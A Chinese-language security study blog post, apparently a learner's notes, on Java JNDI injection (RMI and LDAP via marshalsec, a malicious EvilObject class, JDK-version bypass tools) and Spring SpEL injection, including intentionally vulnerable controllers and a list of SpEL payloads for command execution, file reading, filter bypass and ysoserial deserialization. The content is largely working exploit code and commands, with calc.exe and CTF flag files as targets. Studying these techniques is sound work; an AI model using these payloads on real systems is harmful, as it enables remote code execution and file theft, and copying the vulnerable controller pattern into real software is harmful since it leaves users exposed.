Java JNDI学习

前言

  1. RMI:java远程方法调用,一种用于实现远程过程调动的应用程序编程接口,常见的两种接口实现方式为JRMP(java remote message protocol远程信息交换协议)
  2. JNDI:是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用接口,JNDI支持的服务主要由:DNS,LDAP,CORBA

工具

这里使用的工具是:

https://github.com/mbechler/marshalsec

一款比较好用的jndi注入工具:需要自动编译:

mvn clean package -DskipTests

分析

JNDI支持很多服务类型,这里比较常见的是RMI和LDAP,正常的RMI是在服务端执行的代码,如果在RMI注册服务中lookup的对象是Reference或者是其子类时,就会导致远程代码执行。

image.png

当lookup在RMI服务中的CLASSPATH不存在时,就会在指定的codebase url中加载类

攻击步骤概括为:

1. 服务端实例化JNDI InitialContext请求attacker的恶意RMIServer
2. InitialContext初始化期间lookup rmi://attacker/Obj
3. 恶意RMIServer返回JNDI Reference
4. 服务端接收到JNDI Reference之后会从恶意RMIServer获取工厂类
5. 恶意RMIServer返回的工厂类中带有static块的Java代码,造成任意代码执行
RMI+JNDI:
package com.company;

import javax.naming.Context;
import javax.naming.InitialContext;

public class jndi {
    public static void main(String[] args) throws Exception{
            Context ctx = new InitialContext();
            ctx.lookup("rmi://localhost:8088/EvilObject");
    }
}

当lookup中的url可控时,就能导致jndi注入:

首先起一个rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#EvilObject 8088

后面试恶意class名,8088是rmi 端口,地址填写web服务地址,需要和EvilObject.class在同一目录下。

恶意类:

import java.lang.Runtime;

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime.getRuntime().exec("calc.exe");
    }
}

编译:

javac EviLObject.java 

这里需要注意的是如果环境有多个jdk版本的话需要使用相同版本,并且恶意的类不能包含包信息。

利用Python 起个web服务:

python -m http.server

需要与EvilObject.class在同一级

运行即可:

image.png

LDAP+JNDI

ldap:

轻型目录访问协议:

基本和RMI相同:起个ldap服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EvilObject 8088

剩下的操作均一样;

最后在lookup中将rmi改为ldap即可:

image.png

1.8版本rmi禁止了远程加载,com.sun.jndi.rmi.object.trustURLCodebase默认为false,导致我们不能通过低版本中RMI+Reference的方式来实现JNDI注入从而实现触发反序列化漏洞执行任意代码

高版本jdk绕过

com.sun.jndi.rmi.object.trustURLCodebase设置为false,意味着我们不能通过Reference加载,但是还是会加载codebase中的类,也就是CLASSPATH中的类

有2种方法:

  1. 加载本地的classpath
  2. 利用反序列化触发本地的gadget
  3. jrmp反序列化
工具

https://github.com/welk1n/JNDI-Injection-Bypass

参考

https://www.anquanke.com/post/id/221917#h3-6

SPEL分析

前言

spel:Spring Expression Language,是一种表达式语言,用户可以通过外部注入SpEl表达式,SPEL调用流程,1.新建解析器 2. 解析表达式 3. 注册变量 4. 取值

案例1

image.png

在这里注册bean的时候,也支持SPEL,个人感觉SPEL和python中的ssti很类似。语法:

#{}是SPEL的定界符。{}内。都算SPEL语法
${}用于加载外部属性的值。必须写在${}中。例如#{'${}'}

科学计数法
#{1e1111}
类属性
#{Person.name}
类方法
#{Person.HelloWorld()}
函数
#{'Guoke'.toLowerCase()}
异常处理
#{Person.HelloWorld()?.toUpperCase()}
//  ?. 确保左边语句不出错。如果出错。就不会调用toUpperCase()
调用包
#{T(java.lang.Math).random()}
直接new对象
#{new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()}

常见payload:

#{T(java.lang.Runtime).getRuntime().exec("calc")}

案例2:

这里直接使用controller相应的方法中,只能使用get提交参数,如果要使用post可以采用HttpServletRequest或者bean

package com.spring.spring;

import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
class TestController {
    @RequestMapping("/spel")
    @ResponseBody
    public String spel(String cmd){
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(cmd);
        return expression.getValue().toString();
    }
}

HttpServletRequest:

package com.spring.spring;

import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;

@Controller
class TestController {
    @RequestMapping("/spel")
    @ResponseBody
    public String spel(HttpServletRequest request){
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(request.getParameter("cmd"));
        return expression.getValue().toString();
    }
}

在创建spring boot项目后将其导入:

image.png

T操作符可以返回一个object,T(类名).method();

以下是paylaod集合:

  1. 直接new对象
new java.lang.ProcessBuilder("calc.exe").start()
''.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27calc.exe%27)

T(java.lang.Runtime).getRuntime().exec("calc.exe")

文件操作:

列文件
cmd=T(java.util.Arrays).toString(T(java.nio.file.Files).list(T(java.nio.file.Paths).get('d:\\')).toArray())
读文件:
cmd=NEW java.util.Scanner(NEW java.io.BufferedReader(NEW java.io.FileReader(NEW java.io.File('d:\\flag.txt')))).nextLine()
new java.util.Scanner(new java.io.File("d:\\flag.txt")).next()
cmd=T(java.nio.file.Files).lines(T(java.nio.file.Paths).get('d:\\flag.txt')).findFirst().toString()

常规绕过:

对关键字大小写:比如

NEW=new

关键字替换:

getclass=>getSuperclass

cmd=''.class.getSuperclass().class.forName(%27java.lang.Runtime%27).getRuntime().exec(%27calc.exe%27)

利用反序列化:

yso生成一个dnslog的payload:

java -jar ysoserial.jar URLDNS "http://cyfwxu.dnslog.cn" > 1.bin

base64编码:
certutil -f -encode "1.bin" "1.txt"
cmd={T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEGN5Znd4dS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly9jeWZ3eHUuZG5zbG9nLmNueA=='))}

利用ScriptEngine调用JS引擎绕过

''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")

利用request传值:

[[${#this.getClass().getClassLoader().loadClass(#request.getHeader(111)).getDeclaredMethod(#req
uest.getHeader(222),#this.getClass().getClassLoader().loadClass(#request.getHeader(333))).invoke(
#this.getClass().getClassLoader().loadClass(#request.getHeader(111)).getDeclaredMethod(#reques
t.getHeader(444)).invoke(null),#request.getParameter(1))}]]

利用反射

cmd=''.class.forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''.class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc.exe')

未完待续....

参考:

https://guokeya.github.io/post/413GsNWtr/

https://c014.cn/blog/CTF/De1CTF2020/De1CTF%202020%20Web.html#00%E7%BB%95t%E8%AF%BBflag

https://www.anquanke.com/post/id/195016

Last modification:April 20th, 2021 at 03:34 pm